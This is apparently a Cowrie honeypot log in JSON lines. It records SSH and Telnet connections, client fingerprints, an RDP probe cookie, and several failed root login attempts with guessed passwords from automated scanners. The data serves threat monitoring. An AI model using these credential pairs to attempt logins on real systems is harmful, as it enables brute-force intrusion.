{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:11.883461Z","src_ip":"94.159.98.239","session":"90c551d99b2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:11.887594Z","src_ip":"94.159.98.239","session":"90c551d99b2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567892","message":"login attempt [root/1234567892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:13.313549Z","src_ip":"94.159.98.239","session":"90c551d99b2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49064,"dst_ip":"10.17.0.5","dst_port":23,"session":"b292e5ef6756","protocol":"telnet","message":"New connection: 192.119.13.58:49064 (10.17.0.5:23) [session: b292e5ef6756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:14.142356Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:14.612289Z","src_ip":"94.159.98.239","session":"90c551d99b2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.029526233673096,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:15.691485Z","src_ip":"192.119.13.58","session":"65448bceb395","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.617162466049194,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:17.654883Z","src_ip":"192.119.13.58","session":"b6dccabdac45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.23494577407837,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:18.949714Z","src_ip":"192.119.13.58","session":"a5148b7afcc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.62909150123596,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:19.989634Z","src_ip":"192.119.13.58","session":"6ef01fdda1e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"43.0","message":"Connection lost after 43.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:21.117088Z","src_ip":"116.110.11.66","session":"5e7c9073e762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.27493095397949,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:21.474050Z","src_ip":"192.119.13.58","session":"d91997751ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.878743410110474,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:22.581396Z","src_ip":"192.119.13.58","session":"58c2ecbbcc20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60956,"dst_ip":"10.17.0.5","dst_port":23,"session":"9462f06c80c4","protocol":"telnet","message":"New connection: 192.119.13.58:60956 (10.17.0.5:23) [session: 9462f06c80c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:23.818447Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60324,"dst_ip":"10.17.0.5","dst_port":22,"session":"3858f2d0cd96","protocol":"ssh","message":"New connection: 193.32.162.145:60324 (10.17.0.5:22) [session: 3858f2d0cd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:25.867541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:25.872456Z","src_ip":"193.32.162.145","session":"3858f2d0cd96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:26.082504Z","src_ip":"193.32.162.145","session":"3858f2d0cd96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty123","message":"login attempt [solv/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:26.382093Z","src_ip":"193.32.162.145","session":"3858f2d0cd96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45702,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbb51951e95c","protocol":"telnet","message":"New connection: 192.119.13.58:45702 (10.17.0.5:23) [session: dbb51951e95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:26.951066Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47754,"dst_ip":"10.17.0.5","dst_port":23,"session":"f203acb0557f","protocol":"telnet","message":"New connection: 192.119.13.58:47754 (10.17.0.5:23) [session: f203acb0557f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:27.442479Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:27.484983Z","src_ip":"193.32.162.145","session":"3858f2d0cd96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49638,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f2e92841ef2","protocol":"telnet","message":"New connection: 192.119.13.58:49638 (10.17.0.5:23) [session: 0f2e92841ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:27.894356Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52898,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fed0a7aa70a","protocol":"telnet","message":"New connection: 192.119.13.58:52898 (10.17.0.5:23) [session: 1fed0a7aa70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:28.621645Z"}
{"eventid":"cowrie.session.closed","duration":38.510753870010376,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:29.725629Z","src_ip":"192.119.13.58","session":"a9c5d5778f29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.76401615142822,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:38.454772Z","src_ip":"192.119.13.58","session":"b0fb3b6cba2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3552770614624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:41.735554Z","src_ip":"192.119.13.58","session":"6e5aa5ace551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54380,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93acadd66cd","protocol":"telnet","message":"New connection: 192.119.13.58:54380 (10.17.0.5:23) [session: a93acadd66cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:43.017616Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":49494,"dst_ip":"10.17.0.5","dst_port":22,"session":"22e90fe73f29","protocol":"ssh","message":"New connection: 81.9.145.130:49494 (10.17.0.5:22) [session: 22e90fe73f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:44.525312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:44.529951Z","src_ip":"81.9.145.130","session":"22e90fe73f29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:44.643665Z","src_ip":"81.9.145.130","session":"22e90fe73f29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hen123","message":"login attempt [root/hen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:45.128531Z","src_ip":"81.9.145.130","session":"22e90fe73f29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:46.244869Z","src_ip":"81.9.145.130","session":"22e90fe73f29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43384,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d8890fbcc3","protocol":"telnet","message":"New connection: 192.119.13.58:43384 (10.17.0.5:23) [session: 27d8890fbcc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:47.077471Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46228,"dst_ip":"10.17.0.5","dst_port":23,"session":"301310c9ffe6","protocol":"telnet","message":"New connection: 192.119.13.58:46228 (10.17.0.5:23) [session: 301310c9ffe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:47.733331Z"}
{"eventid":"cowrie.session.closed","duration":0.006529569625854492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:47.739735Z","src_ip":"192.119.13.58","session":"301310c9ffe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":23438,"dst_ip":"10.17.0.5","dst_port":22,"session":"6057c5a50937","protocol":"ssh","message":"New connection: 201.249.192.30:23438 (10.17.0.5:22) [session: 6057c5a50937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:48.017336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:48.022722Z","src_ip":"201.249.192.30","session":"6057c5a50937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:48.096869Z","src_ip":"201.249.192.30","session":"6057c5a50937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1935","message":"login attempt [root/1935] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:48.419564Z","src_ip":"201.249.192.30","session":"6057c5a50937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:49.495589Z","src_ip":"201.249.192.30","session":"6057c5a50937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34246,"dst_ip":"10.17.0.5","dst_port":23,"session":"47de8d891ac7","protocol":"telnet","message":"New connection: 192.119.13.58:34246 (10.17.0.5:23) [session: 47de8d891ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:51.618196Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54254,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d1e9ab8b115","protocol":"telnet","message":"New connection: 192.119.13.58:54254 (10.17.0.5:23) [session: 7d1e9ab8b115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:56.512576Z"}
{"eventid":"cowrie.session.closed","duration":31.795905113220215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:58.746776Z","src_ip":"192.119.13.58","session":"dbb51951e95c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.307933568954468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:58.750226Z","src_ip":"192.119.13.58","session":"f203acb0557f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.94910287857056,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:00.091369Z","src_ip":"192.119.13.58","session":"b292e5ef6756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41914,"dst_ip":"10.17.0.5","dst_port":23,"session":"c41e51572024","protocol":"telnet","message":"New connection: 192.119.13.58:41914 (10.17.0.5:23) [session: c41e51572024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:00.662185Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44644,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb28f13d8ae","protocol":"telnet","message":"New connection: 192.119.13.58:44644 (10.17.0.5:23) [session: 4bb28f13d8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:01.331753Z"}
{"eventid":"cowrie.session.closed","duration":39.110546827316284,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:02.928902Z","src_ip":"192.119.13.58","session":"9462f06c80c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.45157027244568,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:06.345802Z","src_ip":"192.119.13.58","session":"0f2e92841ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.51847457885742,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:07.139994Z","src_ip":"192.119.13.58","session":"1fed0a7aa70a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44856,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac8cabfc2f2","protocol":"telnet","message":"New connection: 192.119.13.58:44856 (10.17.0.5:23) [session: bac8cabfc2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:08.903793Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47088,"dst_ip":"10.17.0.5","dst_port":23,"session":"ded2af2860e5","protocol":"telnet","message":"New connection: 192.119.13.58:47088 (10.17.0.5:23) [session: ded2af2860e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:09.507914Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54051,"dst_ip":"159.203.135.109","dst_port":22,"session":"43cbb89a7506","protocol":"ssh","message":"New connection: 152.42.212.128:54051 (159.203.135.109:22) [session: 43cbb89a7506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:09.893662Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:09.899964Z","src_ip":"152.42.212.128","session":"43cbb89a7506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:09.905109Z","src_ip":"152.42.212.128","session":"43cbb89a7506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39682,"dst_ip":"10.17.0.5","dst_port":23,"session":"473bd538e57e","protocol":"telnet","message":"New connection: 192.119.13.58:39682 (10.17.0.5:23) [session: 473bd538e57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:15.182729Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":52450,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad6fbd69211a","protocol":"ssh","message":"New connection: 40.83.182.122:52450 (10.17.0.5:22) [session: ad6fbd69211a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:21.393728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:21.398449Z","src_ip":"40.83.182.122","session":"ad6fbd69211a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:21.475382Z","src_ip":"40.83.182.122","session":"ad6fbd69211a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2222","message":"login attempt [root/2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:55:21.816902Z","src_ip":"40.83.182.122","session":"ad6fbd69211a","protocol":"ssh"}
